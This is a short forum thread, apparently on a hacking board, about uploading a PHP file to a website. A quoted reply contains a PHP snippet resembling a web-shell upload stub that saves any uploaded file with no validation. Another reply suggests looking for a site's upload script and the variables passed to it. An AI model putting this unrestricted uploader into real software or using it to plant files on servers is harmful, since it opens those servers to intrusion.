Login Register


[Help Me] How To Upload A File Or PHP filter_list
Author
Message
RE: [Help Me] How To Upload A File Or PHP #3
(04-20-2014, 02:09 AM)Duubz Wrote: File uploader.



PHP Code:
echo '<b>Quick Upload:</b><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<div id="cmds">File upload success.</div>'; } else { echo '<div id="cmds">File upload failed.</div>'; } }

Lol I think you misunderstood his question...

OP you're gonna have a hard time if you don't have any knowledge of the back end code. I would suggest looking for the place on the site which utilizes the upload script (if any) and see which variables are passed to it.

Reply





Messages In This Thread
RE: [Help Me] How To Upload A File Or PHP - by Dyme - 04-20-2014, 02:22 AM



Users browsing this thread: 1 Guest(s)